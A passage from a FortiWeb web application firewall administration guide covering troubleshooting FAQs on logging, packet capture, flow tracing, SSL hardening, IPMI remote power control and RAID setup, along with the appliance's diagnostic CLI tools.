  edit "sql-inject-policy"
    config rule
      edit 1
        set rule-name "sql-inject"
      next
    end
  next
end
```

For more information on the `waf custom-access rule` command, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Why is the Signature Violation filter I added to my Advanced Protection custom rule not working?

To add a Signature Violation filter to an Advanced Protection custom rule, you select **Signature Violation** as the filter type.

However, for the filter to work, the following configuration steps are also required:

- In the Edit Custom Rule dialog box, select at least one signature category. By default, no categories are selected. When you select a category, FortiWeb prompts you to enable all or some of the signatures in the category.
- Ensure that the signatures that correspond to the categories you selected in the rule are enabled in the signature policy (**Web Protection > Known Attacks > Signatures**).

You select the custom policy that contains the rule and corresponding signature set when you create a protection profile.

For details, see ["Combination access control & rate limiting"](#) on page 480 and ["Blocking known attacks & data leaks"](#) on page 505.

Why don't my back-end servers receive the virtual server IP address as the source IP?

When the operation mode is Reverse Proxy, the server pool members receive the IP address of the FortiWeb interface the connection uses. If the back-end servers need to know the IP address of the client where the request originated, configure a X-Forwarded-For rule for the appropriate profile. For details, see ["Defining your proxies, clients, & X-headers"](#) on page 421.

Why do I not see HTTP traffic in the logs?

Successful HTTP traffic logging depends on both FortiWeb configuration and the configuration of other network devices. If you do not see HTTP traffic in the traffic log, ensure that the configuration described in the following tables is correct.

Reverse Proxy mode

Configuration	What to look for	See
Logging	Ensure logging is enabled and configured. By default, logging is not enabled.	"Configuring logging" on page 693
Servers	Ensure that the IP address of your physical server and the IP address of your virtual server are correct.	"Defining your web servers" on page 390 "Configuring virtual servers on your FortiWeb" on page 425
Server policy	Ensure that the server policy associates the	"Configuring a server"

Configuration	What to look for	See
	appropriate virtual server with the correct physical servers (as members of a server pool).	policy " on page 277
Network interfaces	Go to System > Network > Interface and ensure the ports for inbound and outbound traffic are up. Use sniffing (packet capture) to ensure that you can see traffic on both inbound and outbound network interfaces. Ensure that the network interfaces are configured with the correct IP addresses. In a typical configuration, port1 is configured for management (web UI access) and the remaining ports associated with the required subnets.	"Configuring the network interfaces" on page 164 "How can I sniff FortiWeb packets (packet capture)?" on page 773 (overview) or "Packet capture" on page 780
VLANs (if used)	Make sure that the VLAN is associated with the correct physical port (Interface setting).	"Adding VLAN subinterfaces" on page 167
Firewalls & routers	Communications between the FortiWeb appliance, clients, protected web servers, and FortiGuard Distribution Network (FDN) require that any routers and firewalls between them permit specific protocols and port numbers.	"Appendix A: Port numbers" on page 814
Load balancers	If the load balancer is in front of FortiWeb, the physical IP addresses on it are the FortiWeb virtual IP addresses. If the Load Balancer is behind the FortiWeb, the FortiWeb physical server is the virtual IP for the load balancer's virtual IP.	"External load balancers: before or after?" on page 98
Web server	Ensure that the web server is up and running by testing it without FortiWeb on the network.	"Checking routing" on page 790

Transparent modes

Configuration	What to look for	See
Logging	Ensure logging is enabled and configured. By default, logging is not enabled.	"Configuring logging" on page 693
Server/server pool	Ensure that the configuration for the physical server in the server pool contains the correct IP address.	"Defining your web servers" on page 390

Configuration	What to look for	See
		"Creating a server pool" on page 397
Server policy	Ensure that the server policy associates the appropriate virtual server with the correct physical servers (as a member of a server pool).	"Configuring a server policy" on page 277
Bridge (v-zone)	Ensure the v-zone is configured using the correct FortiWeb ports. In the list of network interfaces (Global > System > Network > Interface), the Status column identifies interfaces that are members of a v-zone. To ensure that the bridge is forwarding traffic, in the list of v-zones, under Interface, look for the status "forwarding" following the names of the ports.	"Configuring a bridge (V-zone)" on page 171
VLANs (if used)	Make sure that the VLAN is associated with the correct physical port (Interface setting).	"Adding VLAN subinterfaces" on page 167
Firewalls & routers	Communications between the FortiWeb appliance, clients, protected web servers, and FortiGuard Distribution Network (FDN) require that any routers and firewalls between them permit specific protocols and port numbers.	"Appendix A: Port numbers" on page 814
Web server	Ensure that the web server is up and running by testing it without FortiWeb on the network.	"Checking routing" on page 790

Offline mode

Configuration	What to look for	See
Logging	Ensure logging is enabled and configured. By default, logging is not enabled.	"Configuring logging" on page 693
Server/server pool	Ensure that the configuration for the physical server in the server pool contains the correct IP address.	"Defining your web servers" on page 390 "Creating a server pool" on page 397
Server policy	Ensure that the server policy associates the	"Configuring a server

Configuration	What to look for	See
	appropriate virtual server with the correct physical servers (as members of a server pool).	policy " on page 277
Bridge (v-zone)	Ensure the v-zone is configured using the correct FortiWeb ports. In the list of network interfaces (Global > System > Network > Interface), the Status column identifies interfaces that are members of a v-zone. To ensure that the bridge is forwarding traffic, in the list of v-zones, under Interface, look for the status "forwarding" following the names of the ports.	"Configuring a bridge (V-zone)" on page 171
VLANs (if used)	Make sure that the VLAN is associated with the correct physical port (Interface setting).	"Adding VLAN subinterfaces" on page 167
Network interfaces	Use sniffing (packet capture) to ensure that you can see traffic on both inbound and outbound network interfaces.	"Configuring the network interfaces" on page 164 "How can I sniff FortiWeb packets (packet capture)?" on page 773 (overview) or "Packet capture" on page 780
Web server	Ensure that the web server is up and running by testing it without FortiWeb on the network.	"Checking routing" on page 790

Why do I see HTTP traffic in the logs but not HTTPS traffic?

Use the following steps to troubleshoot HTTPS traffic logging:

1. Ensure FortiWeb has the certificates it needs to offload or inspect HTTPS.

For details, see ["How to offload or inspect HTTPS"](#) on page 439.

2. Use sniffing (packet capture) to look for errors in HTTPS traffic.

For details, see ["How can I sniff FortiWeb packets \(packet capture\)?"](#) on page 773 (overview) or ["Packet capture"](#) on page 780.

How do I store traffic log messages on the appliance hard disk?

You can configure FortiWeb to store traffic log messages on its hard disk.

In most environments, and especially environments with high traffic volume, enabling this option for long periods of time can cause the hard disk to fail prematurely. Do not enable it unless it is necessary and disable it as soon as you no longer need it.

For information on configuring logging to the hard disk using the web UI, see "Configuring logging" on page 693.

To enable logging to the hard disk via the CLI, log in using an account with either `w` or `rw` permission to the `loggrp` area and enter the following commands:

```
config log traffic-log
set disk-log enable
```

Use the following commands to verify the new configuration:

```
get log traffic-log
```

A response that is similar to the following message is displayed:

```
status : enable
packet-log : enable
disk-log : enable
```

Alternatively, use the following command to display a sampling of traffic log messages:

```
diagnose log tlog show
```

A response that is similar to the following message is displayed:

```
Total time span is 39.252285 seconds
Time spent on waiting is 13.454448 seconds
Time spent on preprocessing is 3.563218 seconds
traffic log processed: 69664
```

where:

- `Total time span` is the total amount of time of the `logd` process handle logs (that is, receiving messages from other process, filtering messages, outputting in standard format, writing the logs to the local database, and so on)
- `Time spent on waiting` is the amount of time of the `logd` process waited to receive messages from other processes
- `Time spent on preprocessing` is the amount of time the `logd` process spent filtering and formatting messages
- `traffic log processed` is the total number of logs that the `logd` process handled in this cycle

For more information about the `config log traffic-log` and `diagnose log tlog show` commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Why is the most recent log message not displayed in the Aggregated Attack log?

If recent log messages do not appear in the Aggregated Attack log as expected, complete the following troubleshooting steps:

1. Use the dashboard to see if the appliance is busy.

When FortiWeb generates an attack log, the appliance writes it to and reads it from the hard disk and then updates the logging database.

The process that retrieves Aggregated Attack log information from the database (indexd) has a lower priority than the processes that analyze and direct traffic. Therefore, increased demand for FortiWeb processing resources (for example, when traffic levels increase) can delay updates to the log.

2. Rebuild the logging database.

Events such as a power outage can corrupt the logging database. Use the following command to rebuild it:

```
exec db rebuild
```

This command deletes and rebuilds the database. It does not delete any logs on the hard disk and no log information is lost.

How can I sniff FortiWeb packets (packet capture)?

Use the `diagnose network sniffer` command to perform a packet trace on one or more interfaces.

For example, the following command captures TCP port 80 traffic arriving at or departing from 192.168.1.1, for all network interfaces. The value 3 specifies the verbosity level (3 captures the most detail):

```
diagnose network sniffer any 'tcp and port 80 and host 192.168.1.1' 3
```

For instructions on using this command and its output, see "[Packet capture](#)" on page 780.

The following steps are an overview of the process:

1. Using a terminal emulator such as SecureCRT or Putty, connect to the appliance via SSH or Telnet, run the sniffer command, and save the output to a file (for example, `detail_output.log`).

A terminal emulator is required because the console is too slow for this task and cannot display all of the output.

2. Install a Perl interpreter and Wireshark (or equivalent application) on your PC.
3. To convert the packet capture command to a format that Wireshark can use, run the following command:

```
perl ./fgt2eth.pl -in detail_output.log -out converted.cap
```

(You can run the Perl script in Windows or Linux.)

To download `fgt2eth.pl`, see the Fortinet Knowledge Base article Using the FortiOS built-in packet sniffer (<http://kb.fortinet.com/kb/documentLink.do?externalId=11186>).



The `fgt2eth.pl` script is provided as-is, without any implied warranty or technical support.

How do I trace packet flow in FortiWeb?

Use the following steps to use the console to view packet flow information for a specified client IP when it accesses a virtual server IP:

1. Using the CLI, use the following command to turn on debug log output:

```
diagnose debug enable
```

2. Use a command similar to the following to limit the debug logs to those that match a specific client IP address:

```
diagnose debug flow filter client-ip 172.22.6.232
```

3. Use the following command to include details from each module that processes the packet:

```
diagnose debug flow filter module-detail on
```

4. Use the following command to start the flow trace:

```
diagnose debug flow trace start
```

The following output is an example of the results of these commands:

```
Module name:WAF_X_FORWARD_FOR_PROCESS, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_IP_INTELLIGENCE, Execution:3, Process error:6, Action:ACCEPT
Module name:WAF_KNOWN_ENGINES, Execution:4, Process error:0, Action:ACCEPT
Module name:HSTS_HEADER_PROCESS, Execution:4, Process error:5, Action:ACCEPT
Module name:WAF_HTTP_ACTIVE_SCRIPT, Execution:3, Process error:2, Action:ACCEPT
Module name:WAF_SESSION_MANAGEMENT, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_HTTP_DOS_HTTP_FLOOD, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_HTTP_DOS_MALICIOUS_IP, Execution:4, Process error:8, Action:ACCEPT
Module name:HTTP_ACCLIMIT_LIMIT, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_GLOBAL_WHITE_LIST, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_GLOBAL_WHITE_LIST, Execution:4, Process error:-1, Action:ACCEPT
Module name:WAF_URL_ACCESS_POLICY, Execution:4, Process error:8, Action:ACCEPT
Module name:HTTP_CONSTRAINTS, Execution:4, Process error:2, Action:ACCEPT
Module name:WAF_COOKIE_POISON, Execution:4, Process error:0, Action:ACCEPT
Module name:WAF_START_PAGES, Execution:4, Process error:-1, Action:DENY
Module name:WAF_CUSTOM_ACCESS_POLICY, Execution:4, Process error:6, Action:ACCEPT
Module name:WAF_HTTP_STATISTIC, Execution:4, Process error:0, Action:ACCEPT
```

For additional information on these commands (for example, to specify debug logs for a specific flow direction), see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Why is the number of cookies reported in my attack log message different from the number of cookies that message detail displays?

When FortiWeb generates an attack log message because a request exceeds the maximum number of cookies it permits, the message value includes the number of cookies found in the request. In addition, the message details include the actual cookie values.

For performance reasons, FortiWeb limits the size of the attack log message. If the amount of cookie value information exceeds the limit for cookies in the attack log, the appliance displays only some of the cookies the message detail.

Why does the attack log message display the virtual server IP address as the destination IP instead of the IP address of the back-end server that was the target of the attack?

In some cases, FortiWeb blocks attacks before the packet is routed to a server pool member. When this happens, the destination IP is the virtual server IP.

How do I detect which cipher suite is used for HTTPS connections?

Use sniffing (packet capture) to capture SSL/ TLS traffic and view the "Server hello" message, which includes cipher suite information.

For more HTTPS troubleshooting information, see ["Supported cipher suites & protocol versions"](#) on page 432 and ["Checking the SSL/TLS handshake & encryption"](#) on page 800.

How can I strengthen my SSL configuration?

The following configuration changes can make SSL more effective in preventing attacks and can improve your website's score for third-party testing tools (for example, the SSL server test provided by [Qualys SSL Labs](#)).

Which configuration changes you make depends on your environment. For example, some older clients do not support SHA256.

- For your website certificate, do the following:
 - If it uses the SHA1 hashtag function, replace it with one that uses SHA256.
 - Ensure that its key size is 2048-bit.
- For the server policy (Reverse Proxy mode) or server pool member configuration (True Transparent Proxy mode), specify the following values in the advanced SSL settings:
 - Select **Add HSTS Header**, and then for **Max. Age**, enter 15552000.
 - For **SSL/TLS Encryption Level**, select **High**.
 - Select **Disable Client-Initiated SSL Renegotiation**.

For details, see ["Configuring a server policy"](#) on page 277.

- Use the following CLI command to set the Diffie-Hellman key exchange parameters to 2048 or greater:

```
config system global
set dh-params 2048
```

The command is available in FortiWeb 5.3.6 and higher only. For additional information on using CLI commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Why can't a browser connect securely to my back-end server?

If a browser cannot communicate with a back-end server using SSL or TLS, use the following troubleshooting steps to resolve the problem:

1. Without connecting via FortiWeb, ensure that you can access the server using HTTPS.

2. Ensure that your browser supports HTTP Strict Transport Security (HSTS). For example, following web page provides compatibility tables for various web browser versions:

<http://caniuse.com/stricttransportsecurity>

3. Ensure that the FortiWeb response includes the strict transport security header.

To add this header, select **Add HSTS Header** in the server policy or server pool configuration. For details, see "Configuring a server policy" on page 277 or "Creating a server pool" on page 397.

4. Use the following cEnsure that the server certificate is trusted:

- If the certificate is signed by intermediate certificate authority (CA), the intermediate CA is signed by a root CA.
- The root CA is listed in your browser's store of trusted certificates.
- The domain name or IP address is consistent with the certificate subject.

For details, see "Uploading a server certificate" on page 446.

How do I use performance tests to determine maximum performance?

Use these performance tests and the dashboard's **System Resources** widget to determine where the appliance reaches its maximum capacity (bottleneck):

Requests per second (RPS), connections per second (CPS)	Rate of requests or connections maintains CPU Usage at 100%
Concurrent connections	Number of connections maintains Memory Usage at 90%
Throughput test	Throughput maintains the value of CPU Usage at 100%. (A pair of gigabit ports provide bandwidth of up to 2 Gbps.)

If your CPU and memory values do not reach the specified values, adjust your client and server test configuration until you can determine maximum performance.

How can I measure the memory usage of individual processes?

The `diagnose policy` command allows you to view the memory usage associated with all server policies or a specific policy. For example:

```
diagnose policy memory all
```

The `diagnose hardware mem` command allows you to display the usage statistics of ephemeral memory (RAM), including swap pages and shared memory (Shmem). For example, to display total memory usage:

```
diagnose hardware mem list
```

For additional information on these commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

How can I use IPMI to shut down or power on FortiWeb remotely?

FortiWeb models 3000E and 4000E have an IPMI port that allows you to remotely manage the appliance. The Intelligent Platform Management Interface (IPMI) works independently of the operating system. This feature is useful for tasks such as powering the appliance on or off when you do not have physical access to it.

If the FortiWeb operating system is operating normally, use the regular shutdown procedure to power off the appliance. For details, see ["How to use the web UI"](#) on page 84. The IPMI interface cannot shut down the appliance if FortiWeb is running.

However, if the operating system has failed, you can use the IPMI interface to shut down the appliance remotely. In addition, the IPMI interface allows you to power on an appliance remotely after it has shut down.

Because the following procedure enables remote access to the IPMI interface, it includes steps to change the default password for the default user (`admin`) to prevent unauthorized access.

1. Use an Ethernet cable to connect the IPMI port of the FortiWeb to the management computer.
2. Configure the management computer to match the FortiWeb default IPMI subnet. For example:
IP address—`192.168.1.2`
Netmask—`255.255.255`
3. To access the IPMI web UI, in your browser, go to `192.168.1.1`.
4. To log in, for both the username and password, enter `admin`.
5. In the menu bar, click **Configuration > Users**.
6. In the list of users, double-click the `adminuser`.
7. On the Modify User page, select **Change Password**, enter values for **Password** and **Confirm Password**, and then click **Modify**.
8. In the menu bar, click Dashboard, and then, beside Network Information, click **Edit**.
9. Use the network information settings to specify a static IPv4 address and gateway that a remote management computer can use to reach the appliance.
10. Use your browser to log in to the IPMI web UI using the new IP address.
11. In the menu bar, click **Remote Control > Server Power Control**, select the option you want. For example, if FortiWeb is shut down, **Power On Server**, and then click **Perform Action**.

How do I reformat the boot device (flash drive) when I restore or upgrade the firmware?

Follow the instructions provided in ["Restoring firmware \(clean install\)"](#) on page 810.

For [Step 11](#) on page 812, type `F` to format the boot device (flash drive), and then enter `Y` to confirm your selection.

After a few minutes, the reformatting process is complete. Continue with the instructions for retrieving the firmware image from the TFTP server.

During the system boot, Fortinet highly recommends that you verify the disk integrity. To perform this task, when the prompt `Press [enter] key for disk integrity verification` is displayed, press `Enter`.

After the firmware restore is complete, use the `get system status` CLI command to verify the system version. For additional information on using the CLI, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

How do I set up RAID for a replacement hard disk?

The procedures applies to all models except 100D, 400B, 400C, and 400D.

1. Power off the FortiWeb.
2. Remove the hard disk from FortiWeb and install the new hard disk.
3. Power on the FortiWeb.
4. Use the following command to initialize RAID:

```
execute create-raid level raid1
```

5. Enter `y` to confirm the initialization.

FortiWeb reboots and starts the RAID initialization. The process can take a few hours to complete.

6. Use the following command to check the RAID status:

```
diagnose hardware raid list
```

If the process is successful, a message similar to the following is displayed:

```
level size(M) disk-number
raid1 1877665 0(OK),1(OK),2(Not Present),3(Not Present)

edited on: 2016-01-25 00:48
```

If FortiWeb is unable to write log messages to the disk, a message similar to the following is displayed:

```
level size(M) disk-number
raid1 1877665 0(Not Present),1(Not Present),2(Not Present),3(Not Present)
```

For additional information on using these CLI commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Tools

To locate network errors and other issues that may prevent connections from passing to or through the FortiWeb appliance, FortiWeb appliances feature several troubleshooting tools.

Troubleshooting methods and tips may use:

- The command line interface (CLI)
- The web UI
- External third-party tools

Some CLI commands provide troubleshooting information not available through the web UI; third-party tools on external hosts can test connections from perspectives that cannot be achieved locally.

See also

- "Ping & traceroute" on page 779
- "Log messages" on page 780
- "Diff" on page 780
- "Packet capture" on page 780

Ping & traceroute

If your FortiWeb appliance cannot connect to other hosts, try using ICMP (`ping` and `traceroute`) to determine if the host is reachable or to locate the node of your network at which connectivity fails, such as when static routes are incorrectly configured. You can do this from the FortiWeb appliance using CLI commands.

For example, you might use `ping` to determine that 192.0.2.87 is reachable:

```
execute ping 192.0.2.87
PING 192.0.2.87 (192.0.2.87): 56 data bytes
64 bytes from 192.0.2.87: icmp_seq=0 ttl=64 time=2.4 ms
64 bytes from 192.0.2.87: icmp_seq=1 ttl=64 time=1.4 ms
64 bytes from 192.0.2.87: icmp_seq=2 ttl=64 time=1.4 ms
64 bytes from 192.0.2.87: icmp_seq=3 ttl=64 time=0.8 ms
64 bytes from 192.0.2.87: icmp_seq=4 ttl=64 time=1.4 ms

--- 192.0.2.87 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.8/1.4/2.4 ms
```

or that 192.168.1.10 is **not** reachable:

```
execute ping 192.0.2.55
PING 192.0.2.55 (192.0.2.55): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...

--- 192.0.2.55 ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
```

If the host is not reachable, you can use `traceroute` to determine the router hop or host at which the connection fails:

```
execute traceroute 192.0.2.55
traceroute to 192.0.2.55 (192.0.2.55), 32 hops max, 72 byte packets
1  192.168.1.2 2 ms 0 ms 1 ms
2  * * *
```

For details about CLI commands, see the FortiWeb CLI Reference:

<http://docs.fortinet.com/fortiweb/reference>

For details about troubleshooting connectivity, see "Connectivity issues" on page 789.



Both `ping` and `tracert` require that network nodes respond to ICMP. If you have disabled responses to ICMP on your network, hosts may appear to be unreachable to `ping` and `tracert`, even if connections using other protocols can succeed.

Log messages

Log messages often contain clues that can aid you in determining the cause of a problem. FortiWeb appliances can record log messages when errors occur that cause failures, upon significant changes, and upon processing events.

Depending on the type, log messages may appear in either the event, attack, or traffic logs. The FortiWeb appliance must be enabled to record event, attack, and traffic log messages; otherwise, you cannot analyze the log messages for events of that type. To enable logging of different types of events, go to **Log&Report > Log Config > Other Log Settings**.

During troubleshooting, you may find it useful to reduce the logging severity threshold for more verbose logs, to include more information on less severe events. To configure the severity threshold, go to **Log&Report > Log Config > Global Log Settings**.

Diff

You can compare backups of the core configuration file with your current configuration. This can be useful if, for example:

- A previously configured feature is no longer functioning, and you are not sure what in the configuration has changed.
- You want to recreate something configured previously, but do not remember what the settings were.

Difference programs can help you to quickly find all changes.

There are many such difference-finding programs, such as WinMerge (<http://sourceforge.net/projects/winmerge>) and the original diff (<http://www.gnu.org/s/diffutils>). They can compare your configurations, line by line, and highlight parts that are new, modified, or deleted.

For instructions, see your difference program's documentation.

See also

- "Backups" on page 324
- "Establishing a system baseline" on page 787
- "Determining the source of the problem" on page 787

Packet capture

Packet capture, also known as sniffing or packet analysis, records some or all of the packets seen by a network interface (that is, the network interface is used in promiscuous mode). By recording packets, you can trace connection states to the exact point at which they fail, which may help you to diagnose some types of problems that are otherwise difficult to detect.

FortiWeb appliances have a built-in sniffer. Packet capture on FortiWeb appliances is similar to that of FortiGate appliances. You can perform the packet capture through CLI command or Web UI.

Packet capture via CLI command

To use the built-in sniffer, connect to the CLI and enter the following command:

```
diagnose network sniffer packet [{any | <interface_name>} [{none | '<filter_str>'}]
[{1 | 2 | 3} [<packets_int>]]]
```

where:

- `<interface_name>` is either the name of a network interface, such as `port1`, or enter `any` for all interfaces.
- `'<filter_str>'` is the sniffer filter that specifies which protocols and port numbers that you do or do not want to capture, such as `'tcp port 80'`, or enter `none` for no filters. Filters use tcpdump (<http://www.tcpdump.org>) syntax.
- `{1 | 2 | 3}` is an integer indicating whether to display the network interface names, packet headers, and/or payloads for each packet that the network interface sends, receives, or sees:
- 1—Display the packet capture timestamp, plus basic fields of the IP header: the source IP address, the destination IP address, protocol name, and destination port number.

Does **not** display all fields of the IP header; it omits:

- IP version number bits
- Internet header length (`ihl`)
- Type of service/differentiated services code point (`tos`)
- Explicit congestion notification
- Total packet or fragment length
- Packet ID
- IP header checksum
- Time to live (`TTL`)
- IP flag
- Fragment offset
- Options bits
- For example:

```
interfaces= [port2]
```

```
filters= [none]
```

```
0.655224 172.20.130.16.2264 -> 172.20.130.15.42574: udp 113
```

- 2—All of the output from 1, plus the packet payload in both hexadecimal and ASCII. For example:

```

interfaces=[port2]
filters=[none]
0.915616 172.20.130.16.2264 -> 172.20.130.15.42574: udp 124
0x0000 4500 0098 d27d 4000 4011 0b8f ac14 8210 E....}@.@.....
0x0010 ac14 820f 08d8 a64e 0084 b75a 80e0 3dee .....N...Z...=.
0x0020 71b8 d617 38fa 3fd8 419b 5006 053c 99c1 q...8.?.A.P.<..
0x0030 e961 93bc 21c9 3197 a030 a709 76dc 0ed8 .a..!.1..0..v...
0x0040 98f8 ceef 6afb e7f2 7773 98e1 5ef7 bfbf ....j...ws..^...
0x0050 2f0d 726f 70cf 26cd d986 392f 4a0b f97b /.rop.&...9/J..{
0x0060 b84f 932d 3043 cbdd c2dc da77 0b73 70fc .O.-0C....w.sp.
0x0070 158a 1868 eee0 793b c09e 7dc0 59f5 787c ...h..y;...}.Y.x|
0x0080 fc1a f25a dc18 735d f090 8e05 c3e8 c14f ...Z..s].....O
0x0090 3466 57c0 4688 58b8 4fW.F.X.

```

- 3—All of the output from 2, plus the link layer (Ethernet) header. e.g.:

```

interfaces=[port2]
filters=[none]
0.317960 172.20.130.16.2264 -> 172.20.130.15.42574: udp 31
0x0000 50e5 49e8 dc3d 000f 7c08 2ff5 0800 4500 P.I..=..|. /...E.
0x0010 003b 2cad 4000 4011 b1bc ac14 8210 ac14 .;,.@.@.....
0x0020 820f 08d8 a64e 0027 ea3c 80e0 981e 7474 .....N.'.<....tt
0x0030 6ddf 38fa 3fd8 419b 6e06 00f0 8dd5 e01d m.8.?.A.n.....
0x0040 810a e049 e5e9 380a f8 ...I..8..

```

- <packets_int> is the number of packets the sniffer reads before stopping. Packet capture output is printed to your CLI display until you stop it by pressing Ctrl+C, or until it reaches the number of packets that you have specified to capture.



Packet capture can be very resource intensive. To minimize the performance impact on your FortiWeb appliance, use packet capture only during periods of minimal traffic, with a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished.

For example, you might capture all TCP port 443 (typically HTTPS) traffic occurring through port1, regardless of its source or destination IP address. The capture uses a high level of verbosity (indicated by 3).

A specific number of packets to capture is not specified. As a result, the packet capture continues until the administrator presses Ctrl+C. The sniffer then confirms that five packets were seen by that network interface.

(Verbose output can be very long. As a result, output shown below is truncated after only one packet.)

```

FortiWeb# diagnose network sniffer packet port1 'tcp port 443' 3
interfaces=[port1]
filters=[tcp port 443]
10.651905 192.168.0.1.50242 -> 192.168.0.2.443: syn 761714898
0x0000 0009 0f09 0001 0009 0f89 2914 0800 4500 .....E.
0x0010 003c 73d1 4000 4006 3bc6 d157 fede ac16 .<s.@.@.;..W....
0x0020 0ed8 c442 01bb 2d66 d8d2 0000 0000 a002 ...B..-f.....
0x0030 16d0 4f72 0000 0204 05b4 0402 080a 03ab ..Or.....

```

```
0x0040 86bb 0000 0000 0103 0303 .....
```

Instead of reading packet capture output directly in your CLI display, you usually should save the output to a plain text file using your CLI client. Saving the output provides several advantages. Packets can arrive more rapidly than you may be able to read them in the buffer of your CLI display, and many protocols transfer data using encodings other than US-ASCII. It is often, but not always, preferable to analyze the output by loading it into a network protocol analyzer application such as Wireshark (<http://www.wireshark.org>).

For example, you could use PuTTY or Microsoft HyperTerminal to save the sniffer output to a file. Methods may vary. See the documentation for your CLI client.

Requirements

- Terminal emulation software such as PuTTY (<http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html>)
- A plain text editor such as Notepad
- A Perl interpreter (<http://www.perl.org/get.html>)
- Network protocol analyzer software such as Wireshark (<http://www.wireshark.org>)

To view packet capture output using PuTTY and Wireshark

1. On your management computer, start PuTTY.
2. Use PuTTY to connect to the FortiWeb appliance using either a local console, SSH, or Telnet connection. For details, see the *FortiWeb CLI Reference*:
<http://docs.fortinet.com/fortiweb/reference>
3. Type the packet capture command, such as:

```
diagnose network sniffer packet port1 'tcp port 443' 3
```

but do **not** press Enter yet.
4. In the upper left corner of the window, click the PuTTY icon to open its drop-down menu, then select **Change Settings**.
A dialog appears where you can configure PuTTY to save output to a plain text file.
5. In the **Category** tree on the left, go to **Session > Logging**.
6. In **Session logging**, select **Printable output**.
7. In **Log file name**, click the **Browse** button, then choose a directory path and file name such as `C:\Users\MyAccount\packet_capture.txt` to save the packet capture to a plain text file. (You do not need to save it with the `.log` file extension.)
8. Click **Apply**.
9. Press Enter to send the CLI command to the FortiWeb appliance, beginning packet capture.
10. If you have not specified a number of packets to capture, when you have captured all packets that you want to analyze, press Ctrl + C to stop the capture.
11. Close the PuTTY window.
12. Open the packet capture file using a plain text editor such as Notepad.
13. Delete the first and last lines, which look like this:

```

===== PuTTY log 1/4/2019.07.25 11:34:40 =====
FortiWeb-2000 #

```

These lines are a PuTTY timestamp and a command prompt, which are not part of the packet capture. If you do not delete them, they could interfere with the script in the next step.

14. Convert the plain text file to a format recognizable by your network protocol analyzer application.

You can convert the plain text file to a format (.pcap) recognizable by Wireshark (formerly called Ethereal) using the `fgt2eth.pl` Perl script. To download `fgt2eth.pl`, see the Fortinet Knowledge Base article "Troubleshooting Tool: Using the FortiOS built-in packet sniffer (<http://kb.fortinet.com/kb/documentLink.do?externalId=11186>).



The `fgt2eth.pl` script is provided as-is, without any implied warranty or technical support, and requires that you first install a Perl module compatible with your operating system.

To use `fgt2eth.pl`, open a command prompt, then enter a command such as the following:


```
fgt2eth.pl -in packet_capture.txt -out packet_capture.pcap
```

where:

- `fgt2eth.pl` is the name of the conversion script; include the path relative to the current directory, which is indicated by the command prompt
- `packet_capture.txt` is the name of the packet capture's output file; include the directory path relative to your current directory
- `packet_capture.pcap` is the name of the conversion script's output file; include the directory path relative to your current directory where you want the converted output to be saved

15. Open the converted file in your network protocol analyzer application. For further instructions, see the documentation for that application.

Viewing sniffer output in Wireshark



For additional information on packet capture, see the Fortinet Knowledge Base article "Troubleshooting Tool: Using the FortiOS built-in packet sniffer" (<http://kb.fortinet.com/kb/documentLink.do?externalId=11186>).

For more information on CLI commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Packet capture via Web UI

1. Go to **System > Network > Packet Capture**.
2. Click **Create New** to create a new packet capture policy.
3. Configure these settings:

Interface	Select the network interface on which you want to capture packets.
Filter	Specify which protocols and port numbers that you do or do not want to capture, such as 'tcp and port 80 and host IP1 and (IP2 or IP3)', or leave this field blank for no filters. Note that please use the same filter expression as <code>tcpdump</code> for this filter, you can refer to the Linux man page of <code>TCPDUMP</code> (http://www.tcpdump.org/manpages/tcpdump.1.html).

Maximum Packet Count	Specify the maximum packets you want to capture for the policy. Capture will stop automatically if the total captured packets hits the count.

4. Click **OK**.
5. Configure a packet capture policy from the policy table:

Interface	The network interface on which the packet capture policy is applied.
Filter	The protocols and port numbers that the packet capture policy do or do not want to capture.
Packets	Current captured packet count. This value keeps increasing during the capture is running.
Maximum Packet Count	The maximum packets count of the policy.
Progress	Click the Start button aside No Running to start the capture. During the capture processing, a progress bar is displayed to show the progress to the maximum packet count. Count of captured packets is displayed in Packets field. Capture stops when hitting the maximum packet count, or you can click the Stop button to stop the capture anytime. Captured packets will be saved as a .pcap file. Click the Download button to download the capture output file. Click the Restart button to restart the capture.

Diagnostic commands in the CLI

Most diagnostic tools are in the CLI and are **not** available from the web UI. Many are shown in "Solutions by issue type" on page 788. For more information on the `diagnose` command and other CLI commands, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

Retrieving kernel or daemon logs

If your troubleshooting issue requires kernel and daemon debugging, you can use a `diagnose` CLI command to enable COMlog, which saves kernel or daemon core dump logs to a file on the appliance's internal flash disk. Then, go to **System > Maintenance > Console Log** to retrieve the logs.

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

How to troubleshoot

If you are new to troubleshooting network appliances in general, this section outlines some basic skills.

Establishing a system baseline

Before you can define an **abnormal** operation, you need to know what **normal** operation is. When there is a problem, a baseline for normal operation helps you to define what is wrong or changed.

Baseline information can include:

- Logging (see ["Enabling log types, packet payload retention, & resource shortage alerts"](#) on page 693)
- Monitoring performance statistics such as memory usage (see ["System Resources widget"](#) on page 681 and ["SNMP traps & queries"](#) on page 715)
- Regular backups of the FortiWeb appliance's configuration (see ["Backups"](#) on page 324)

